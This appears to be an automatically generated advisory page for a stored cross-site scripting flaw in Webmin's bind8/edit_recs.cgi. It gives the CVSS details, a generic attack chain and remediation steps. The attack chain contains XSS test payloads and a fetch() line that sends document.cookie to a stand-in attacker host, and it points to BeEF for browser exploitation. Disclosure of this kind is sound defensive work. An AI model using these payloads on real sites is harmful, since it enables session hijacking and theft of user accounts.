CVE-2026-125392 — bind8/edit_recs — CWE-79
CVE-2026-125392 is a MEDIUM severity Cross-Site Scripting (XSS) vulnerability (CWE-79) (CVSS 5.4/10) affecting bind8/edit_recs. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) requiring user interaction, triggering a scope change (S:C) across connected components and posing a direct security risk to affected deployments.
📄 Official NVD / MITRE Original Record Text
Webmin through 2.670 contains a stored cross-site scripting vulnerability in bind8/edit_recs.cgi that outputs raw DNS record values without HTML escaping in ALL view mode. Delegated zone users such as Virtualmin domain owners can store record values containing script that executes in an administrator's browser when viewing zone records.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-125392
CVSS 5.4/10 · MEDIUM · 10.11.2026
CWE: CWE-79
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 WHAT IS THIS VULNERABILITY?
Cross-Site Scripting (XSS)
Summary: Webmin through 2.670 contains a stored cross-site scripting vulnerability in bind8/edit_recs.cgi that outputs raw DNS record values without HTML escaping in ALL view mode. Delegated zone users such as Virtualmin domain owners can store record values containing script that executes in an administrator's browser when viewing zone records.
⚡ ATTACK CHAIN
Attack steps:
1. Identify reflection points (search, comments, profile fields).
2. Test: <script>alert(document.domain)</script> or <img src=x onerror=alert(1)>
3. Session hijacking: fetch('https://attacker.com/?c='+document.cookie)
4. Stored XSS: inject persistent payload in user-controlled fields.
5. Browser exploitation via BeEF.
🔧 Tools: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)
🌍 REAL WORLD IMPACT
Pivot to other systems possible.
🛡️ REMEDIATION
→ Apply the vendor-released patch immediately.
→ Add CSP headers, HTML-encode all user input.
→ Add WAF rule, create IDS alert for anomalous traffic.
⚠️ URGENCY
📋 Routine update cycle (30 days)
────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]